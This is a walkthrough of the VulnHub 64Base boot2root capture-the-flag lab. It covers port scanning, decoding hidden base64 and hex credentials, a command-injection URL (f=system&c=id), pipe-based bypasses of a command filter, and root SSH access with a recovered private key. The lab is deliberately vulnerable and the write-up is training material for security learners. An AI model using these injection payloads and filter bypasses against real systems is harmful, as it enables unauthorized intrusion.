VulnHub 64Base Simple Solution: Boot2Root

Most recently, VulnHub published a new virtual image called 64Base Boot2Root . Tasks, as well as the article are designed for beginners. So do not be surprised if some of the solutions seem too simple.

Let's start

In the description we see the number of flags, and their format:

There are 6 flags to collect. In flag Each 1 Each = =

Download the image, import the settings, open the properties of the virtual machine, in the Network section, set the network bridge to our adapter, save, run. And then we look for our virtual machine with nmap:

sudo nmap -A 192.168.1.1-255 -p1-65535 

We get the following output:
')

 Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-12 22:13 MSK Nmap scan report for 192.168.1.2 Host is up (0.0040s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Apache httpd 2.4.10 ((Debian)) 4899/tcp open radmin 62964/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) MAC Address: 08:00:27:68:E7:F8 (Oracle VirtualBox virtual NIC) 

2 of 4 ports were successfully detected - these are 80 and 62964, and 2 ports that were not defined by nmap. But about them later.

flag1

Go to the address 192.168.1.2 : 80, we get to the main page.



On which the inscription rushes to eyes: dmlldyBzb3VyY2UgO0QK

Decode it from Base64 and get a hint: view source; D

Ok, let's look at the page code, and next to this label we see the comment:

 <div class="site-heading"> <h1>64base</h1> <hr class="small"> <span class="subheading">dmlldyBzb3VyY2UgO0QK</span> <!--5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a--> </div> 

After conversion HEX → ASCII → Base64 → ASCII

We get the first flag:

flag1 {NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg ==}

After trying to convert the flag from base64 to ASCII, you can get credentials

64base: Th353 @ r3N0TdaDr01DzU @ reL00K1ing4

flag2

And so, we have a username and an intended password. Search for available files and directories:

 sudo dirsearch -r -u http://192.168.1.2 -e php,txt,bak -w /usr/share/dirb/wordlists/big.txt -f -x 301,403 

Found a page with Basic authorization / admin . The credentials found in the past flag did not match. On ssh with them, too, could not connect. Apparently something was missing. After a brief search, it was decided to parse the words from the pages of the site into a separate dictionary. The Python script helped with this:




Found another interesting directory. If you look at the robots.txt file, you can find the entry:

Disallow: / Imperial-class /

Apparently this is one of the author's jokes, which were mentioned in the description. During the transition, authorization is requested, we enter the login and password received earlier, and we are logged in!

However, rejoice too early, we were greeted by the message:

[] ERROR: incorrect path! .. TO THE DARK SIDE!

Searching on the site Imperial-lass , we find the phrase:

If you are a real Imperial-Class BountyHunter

Hmm, trying to go to the address 192.168.1.2/Imperial-Class/BountyHunter we get to the next login page:



Looking at the source code, we see the following:


We combine, transform HEX -> TEXT -> Base64 -> TEXT, we get the second flag:

flag2 {aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g / dj12Snd5dEZXQTh1QQo =}

this time, the YouTube link is encoded in the flag instead of the hint .

flag3

Let's continue, we have an authorization form: 192.168.1.2/Imperial-Class/BountyHunter/index.php , having tried several options, you can see that whenever you send a POST request to login.php , we redirect to index.php without any errors .

Let's take a closer look at the redirect process using curl :

 curl http://192.168.1.2/Imperial-Class/BountyHunter/login.php -H 'Authorization: Basic NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0' 

In response to surprise, we received the following flag:

flag3 {NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2
luLnBocD9mPWV4ZWMmYz1pZAo =}

And the new hint encoded in it:

53cr3t5h377 / Imperial-Class / BountyHunter / login.php? F = exec & c = id

flag4

Use the Clue from the previous flag and go to 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=id



Hmm, just remember the picture, from the page post.html


Let's replace EXEC with SYSTEM: 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=system&c=id And we get a new flag, a hint, as well as a shell on a virtual machine.

flag4 {NjRiYXNlOjY0YmFzZTVoMzc3Cg ==}

In the tooltip, we find new credentials: 64base: 64base5h377

flag5

Having studied the possibilities of the found shel a little, it becomes clear that the list of commands available for execution is very limited, in addition there is a filter for the slash. It remains to determine which of them are available to us.

Let's create a dictionary to iterate through the commands available to us:

 for item in $(ls /usr/sbin/ && ls /usr/bin/ && ls /sbin/ && ls /bin/); do echo $item >> /tmp/unix_command2.lst; done sort -u /tmp/unix_command2.lst > unix_command.lst 

Then we feed this dictionary to the Python script:


And we get the following conclusion:

Found cmd: base64
Found cmd: cat
Found cmd: id
Found cmd: locate
Found cmd: ls
Found cmd: nc
Found cmd: ps
Found cmd: w
Found cmd: wget
Found cmd: who
Found cmd: whoami

Not much, however, since we do not filter the symbol | then substituting it at the beginning of the command, we get the opportunity to perform any. Having played with the transmitted parameters
we receive such request:

 |locate admin|grep html|xargs find 

PS Here and further, I will give the commands that need to be passed in the argument c .

The output will look like this:

/ var / www / html / admin
/var/www/html/admin/index.php
/ var / www / html / admin / S3cR37
/ var / www / html / admin / S3cR37 / flag5 {TG9vayBJbnNpZGUhIDpECg ==}
/var/www/html/admin/.htaccess
/var/www/html/admin/.htaccess
/var/www/html/admin/index.php

The flag was found, and with it a new hint: Look Inside! : D

flag6

We are asked to look inside this file. Ok, do this:

 #      |locate admin|grep html|xargs find|grep TG|xargs cp -t . #   |ls|grep TG|xargs chmod 777 

Open in the browser, the file was a picture:



Run exiftool and see the metadata of this image.


Copy the contents of the Comment field and perform the same transformations as with the previous flags. Instead of a flag, we were given a private RSA key:


We use it to connect via ssh

 ssh root@192.168.1.2 -p 62964 -i key.rsa 

The password as it is easy to guess is written in the picture, after successful connection we get the last flag:

flag6 {NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1N
GU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU
0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5
MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0
ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNj
M3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}

In which the command is encoded: base64 -d /var/local/.luke|less.real
And root access to the virtual machine. Task completed!

PS There is at least 1 more way to go through this lab.